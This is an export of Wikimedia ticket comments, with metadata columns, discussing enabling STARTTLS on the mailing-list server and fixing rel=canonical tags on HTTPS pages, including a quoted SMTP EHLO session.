%%%Mark Bergsma <mark at wikimedia>%%%
%%%Lead Operations Architect%%%
%%%Wikimedia Foundation%%%",,,1386759810,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,15,True,1.5,0.0,0.0,0.0,1.5,2.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,6.0,9.0,0.0,0.5,0.0,0.5,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,6.0,2.0,0.5,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.0,11.5,2.0,1.0,5.5,0.0,0.0,0.0,0.0,2.0,15.0,1.5,0.0,5.0,9.0,9.5,0.0,0.0,0.0,5.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,2.0,3.3972677595628413,0.7095628415300546,"%%%On Nov 21, 2013, at 5:52 AM, Faidon Liambotis via RT <ops-requests-comment at wikimedia> we had this enabled once upon a time, but the list server kept running out of random entropy. Since it wasn't all that useful and I had no time to deal with it, I just disabled it at the time.%%%
%%%I'm not at all against having this reenabled, just be aware that this can be an issue.%%%
%%%--%%%
%%%Mark Bergsma <mark at wikimedia>%%%
%%%Lead Operations Architect%%%
%%%Wikimedia Foundation%%%"
373250,Enable STARTTLS (both inbound and outbound) on lists,"%%%On Thu, Nov 21, 2013 at 04:45:45AM +0000, Ken Snider via RT wrote:%%%
>Any chance we could consider this as part of the mail migration?
%%%Yup, it's already in the TODO.%%%
%%%Note that the actual security benefit of this is very disputable. Noone%%%
%%%checks for certificate signatures and rejects, ever. There is no known%%%
%%%equivalent to browser CAs for mail certificates. At Debian we even do%%%
%%%DANE, noone checks that either :)%%%
%%%I assume this came from EFF's matrix. They know that noone does%%%
%%%validation as well and are discussing ways to fix this. I'm not very%%%
%%%optimistic.%%%
%%%Regards,%%%
%%%Faidon%%%",,,1385009538,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,True,,,12,True,0.0,0.0,0.5,0.0,0.5,2.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.5,2.0,0.5,5.0,8.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,5.5,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,2.0,11.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,12.5,2.0,1.0,3.5,0.0,0.5,0.0,0.0,1.5,21.5,1.5,0.0,3.0,8.0,5.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.333333333333333,0.6266666666666667,"%%%On Thu, Nov 21, 2013 at 04:45:45AM +0000, Ken Snider via RT wrote:%%%
QUOTE
%%%Yup, it's already in the TODO.%%%
%%%Note that the actual security benefit of this is very disputable. Noone%%%
%%%checks for certificate signatures and rejects, ever. There is no known%%%
%%%equivalent to browser CAs for mail certificates. At Debian we even do%%%
%%%DANE, noone checks that either :)%%%
%%%I assume this came from EFF's matrix. They know that noone does%%%
%%%validation as well and are discussing ways to fix this. I'm not very%%%
%%%optimistic.%%%
%%%Regards,%%%
%%%Faidon%%%"
373238,Enable STARTTLS (both inbound and outbound) on lists,"`ksnider  wrote:`

%%%Mark / Faidon,%%%
%%%Any chance we could consider this as part of the mail migration?%%%
%%%Thanks.%%%
%%%--Ken.%%%",,,1385009145,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,3,False,,,12,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,35.0,0.0,0.0,3.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.264705882352941,0.6176470588235294,"CODE

%%%Mark / Faidon,%%%
%%%Any chance we could consider this as part of the mail migration?%%%
%%%Thanks.%%%
%%%--Ken.%%%"
373223,Enable STARTTLS (both inbound and outbound) on lists,"`<mdennis at wikimedia>  wrote:`

%%%Thank you both. :)%%%
%%%I'll let the correspondent know that it's being looked at.%%%
%%%Maggie%%%
%%%On Sun, May 12, 2013 at 9:50 AM, Jeremy Baron via RT <%%%
%%%<ops-requests at wikimedia> wrote:%%%
> This already was in RT via dzahn via postmaster@. (same user reported
> it) Merging.
>
%%%--%%%
%%%Maggie Dennis%%%
%%%Senior Community Advocate%%%
%%%Wikimedia Foundation, Inc.%%%",,,1368467479,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,17.0,0.5,0.0,1.0,0.0,0.5,0.0,0.0,1.0,25.0,1.5,0.0,1.5,3.5,12.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.873333333333333,0.5535294117647059,"CODE

%%%Thank you both. :)%%%
%%%I'll let the correspondent know that it's being looked at.%%%
%%%Maggie%%%
%%%On Sun, May 12, 2013 at 9:50 AM, Jeremy Baron via RT <%%%
%%%<ops-requests at wikimedia> wrote:%%%
QUOTE
QUOTE
QUOTE
%%%--%%%
%%%Maggie Dennis%%%
%%%Senior Community Advocate%%%
%%%Wikimedia Foundation, Inc.%%%"
373214,Enable STARTTLS (both inbound and outbound) on lists,Merged into ticket #5075 by jeremyb,,,1368366685,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Merged into ticket #5075 by jeremyb
373204,Enable STARTTLS (both inbound and outbound) on lists,Merged into ticket #5075 by jeremyb,,,1368366685,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Merged into ticket #5075 by jeremyb
373194,Enable STARTTLS (both inbound and outbound) on lists,//Status changed from 'new' to 'open' by RT_System//,,,1368366659,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
373185,Enable STARTTLS (both inbound and outbound) on lists,"%%%This already was in RT via dzahn via postmaster@. (same user reported%%%
%%%it) Merging.%%%",,,1368366658,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.7391304347826086,"%%%This already was in RT via dzahn via postmaster@. (same user reported%%%
%%%it) Merging.%%%"
373175,Enable STARTTLS (both inbound and outbound) on lists,"`wooster  wrote:`

%%%Hi Maggie,%%%
%%%I will get the discussion going on this with the team. It is a 'nice to%%%
%%%have' feature to enable (IMHO) and would need some work on our side.%%%
%%%Thanks,%%%
%%%CT%%%
%%%On Fri, May 10, 2013 at 10:19 AM, Wikimedia Answers%%%
%%%<answers at wikimedia>%%%
> Hello, CT. :)
>
> I'm told that I should send this to you - can you help this gentleman or
> tell me to whom I should refer him instead?
>
> Maggie
>
> ---------- Forwarded message ----------
> From: Rich Wales <richw at richw>
> To: <answers at wikimedia>
>
>
>  Hi.  I sent a message about the following issue to *
> <postmaster at wikimedia> (Postfix) with ESMTP id A4BE717403E0
> 	for <richw at richw> <richw at richw>; Thu,  2 May 2013 11:53:45 -0700 (PDT)
>
> It also appears that *lists.wikimedia.org* does not offer STARTTLS to
> SMTP clients.  I tried connecting to it just now, and here is what I saw;
> note that the list of capabilities in the EHLO response does not mention
> STARTTLS:
>
> 220 sodium.wikimedia.org ESMTP Exim 4.71 Thu, 02 May 2013 19:04:00 +0000
> ehlo pigeon.richw.org
> 250-sodium.wikimedia.org Hello whodunit.stanford.edu [68.65.164.12]
> 250-SIZE 52428800
> 250-PIPELINING
> 250 HELP
> quit
> 221 sodium.wikimedia.org closing connection
>
> I realize you can't fully control the security of other hosts which send
> mail to, or receive mail from, your server.  However, it seems to me that
> enabling STARTTLS on *lists.wikimedia.org* (both in its SMTP server and
> its SMTP client code) would be a step in the right direction.
>
> Any thoughts on this?
> ~~
> *Rich Wales* (Richwales <http://en.wikipedia.org/wiki/User:Richwales>) *--
> no relation to Jimbo*
>
>",,,1368223415,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-16,True,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,31.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,1.5,10.5,1.5,0.0,2.0,3.5,27.5,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.5,2.963855421686747,0.3313253012048193,"CODE

%%%Hi Maggie,%%%
%%%I will get the discussion going on this with the team. It is a 'nice to%%%
%%%have' feature to enable (IMHO) and would need some work on our side.%%%
%%%Thanks,%%%
%%%CT%%%
%%%On Fri, May 10, 2013 at 10:19 AM, Wikimedia Answers%%%
%%%<answers at wikimedia>%%%
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
373159,Enable STARTTLS (both inbound and outbound) on lists,"%%%The problem in the past was that this would use up (starve) all random entropy%%%
%%%because of the many deliveries, and then block. But with newer hardware and%%%
%%%potentially hw RNGs, the situation may be better now. We can test it again.%%%
%%%--%%%
%%%Mark Bergsma <mark at wikimedia>%%%
%%%Lead Operations Architect%%%
%%%Wikimedia Foundation%%%",,,1367835548,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,2.0,0.0,0.0,0.0,0.0,5.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,6.0,25.0,0.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,3.5517241379310347,0.6666666666666666,"%%%The problem in the past was that this would use up (starve) all random entropy%%%
%%%because of the many deliveries, and then block. But with newer hardware and%%%
%%%potentially hw RNGs, the situation may be better now. We can test it again.%%%
%%%--%%%
%%%Mark Bergsma <mark at wikimedia>%%%
%%%Lead Operations Architect%%%
%%%Wikimedia Foundation%%%"
373146,Enable STARTTLS (both inbound and outbound) on lists,Issue taken by **mark**,,,1367835485,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,62.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.625,Issue taken by **mark**
373132,Enable STARTTLS (both inbound and outbound) on lists,//Subject changed from 'Fwd: Potential security issue with mail from lists.wikimedia.org' to 'enable STARTTLS (both inbound and outbound) on sodium MTA' by jeremyb//,,,1367554439,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,20.0,17.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.766666666666667,0.8666666666666667,//Subject changed from 'Fwd: Potential security issue with mail from lists.wikimedia.org' to 'enable STARTTLS (both inbound and outbound) on sodium MTA' by jeremyb//
373122,Enable STARTTLS (both inbound and outbound) on lists,//Status changed from 'new' to 'open' by RT_System//,,,1367554439,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
373113,Enable STARTTLS (both inbound and outbound) on lists,"%%%Add mark to CC. Should also test mchenry, etc. too.%%%",,,1367554439,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,3.0,0.8125,"%%%Add mark to CC. Should also test mchenry, etc. too.%%%"
373105,Enable STARTTLS (both inbound and outbound) on lists,//Cc mark added by jeremyb//,,,1367554310,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.8,1.0,//Cc mark added by jeremyb//
373099,Enable STARTTLS (both inbound and outbound) on lists,//AdminCc jeremyb added by jeremyb//,,,1367537564,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.4,1.0,//AdminCc jeremyb added by jeremyb//
373091,Enable STARTTLS (both inbound and outbound) on lists,//AdminCc thehelpfulone added by thehelpfulone//,,,1367534821,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-4j2dctchb5aolz7ppy73,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.8,1.0,//AdminCc thehelpfulone added by thehelpfulone//
50402,rel=canonical of https pages should point to http,"According to Google, HTTPS versions of our pages should have the rel=canonical head tag that points to the http version. See http://support.google.com/webmasters/bin/answer.py?hl=en&answer=139394

I can't remember that we ever had it like this, but if Google suddenly started enforcing this, then it might explain the http-https google split and google rank penalty that Wikid77 has been discussing on WP:VP/T.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: http://support.google.com/webmasters/bin/answer.py?hl=en&answer=139394
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=25882
https://bugzilla.wikimedia.org/show_bug.cgi?id=28602
https://bugzilla.wikimedia.org/show_bug.cgi?id=51002",High,80.0,1368450780,1375296015.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_description,resolved,True,c2,1,False,False,True,-16,True,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,1.0,3.0,4.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,1.0,0.5,0.5,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,1.5,1.0,15.0,1.0,1.5,2.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.5,4.0,9.5,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,3.5,0.6578947368421053,"According to Google, HTTPS versions of our pages should have the rel=canonical head tag that points to the http version. See URL

I can't remember that we ever had it like this, but if Google suddenly started enforcing this, then it might explain the http-https google split and google rank penalty that Wikid77 has been discussing on WP:VP/T.

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL
**See Also**:
URL
URL
URL"
221337,rel=canonical of https pages should point to http,"Created attachment 13066
SSL cluster eqiad network_report

Also for the records, from #wikimedia-operations:

18.15 < Ryan_Lane> looks like the rel=canonical change helped
18.15 < Ryan_Lane> https://ganglia.wikimedia.org/latest/graph.php?r=week&z=xlarge&c=SSL+cluster+eqiad&m=cpu_report&s=by+name&mc=2&g=network_report
18.15 < Ryan_Lane> I had a feeling that was causing the surge
18.16 < Ryan_Lane> I'm surprised how quickly it helped, though

**Attached**: {F10697}",,,1375808325,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,2,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,1.0,16.0,1.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,4.0,4.0,6.0,0.0,0.0,0.0,4.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,9.0,3.909090909090909,0.6753246753246753,"Created attachment 13066
SSL cluster eqiad network_report

Also for the records, from #wikimedia-operations:

18.15 < Ryan_Lane> looks like the rel=canonical change helped
18.15 < Ryan_Lane> URL
18.15 < Ryan_Lane> I had a feeling that was causing the surge
18.16 < Ryan_Lane> I'm surprised how quickly it helped, though

**Attached**: {F10697}"
221335,rel=canonical of https pages should point to http,https://gerrit.wikimedia.org/r/76856 has been submitted and merged. I imagine it'll be deployed shortly.,,,1375295728,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ejy2ovqtrrcrq3a6rrl7,task_subcomment,,True,c2,1,True,,,-4,True,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,13.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.466666666666667,0.9333333333333333,GERRIT_URL has been submitted and merged. I imagine it'll be deployed shortly.
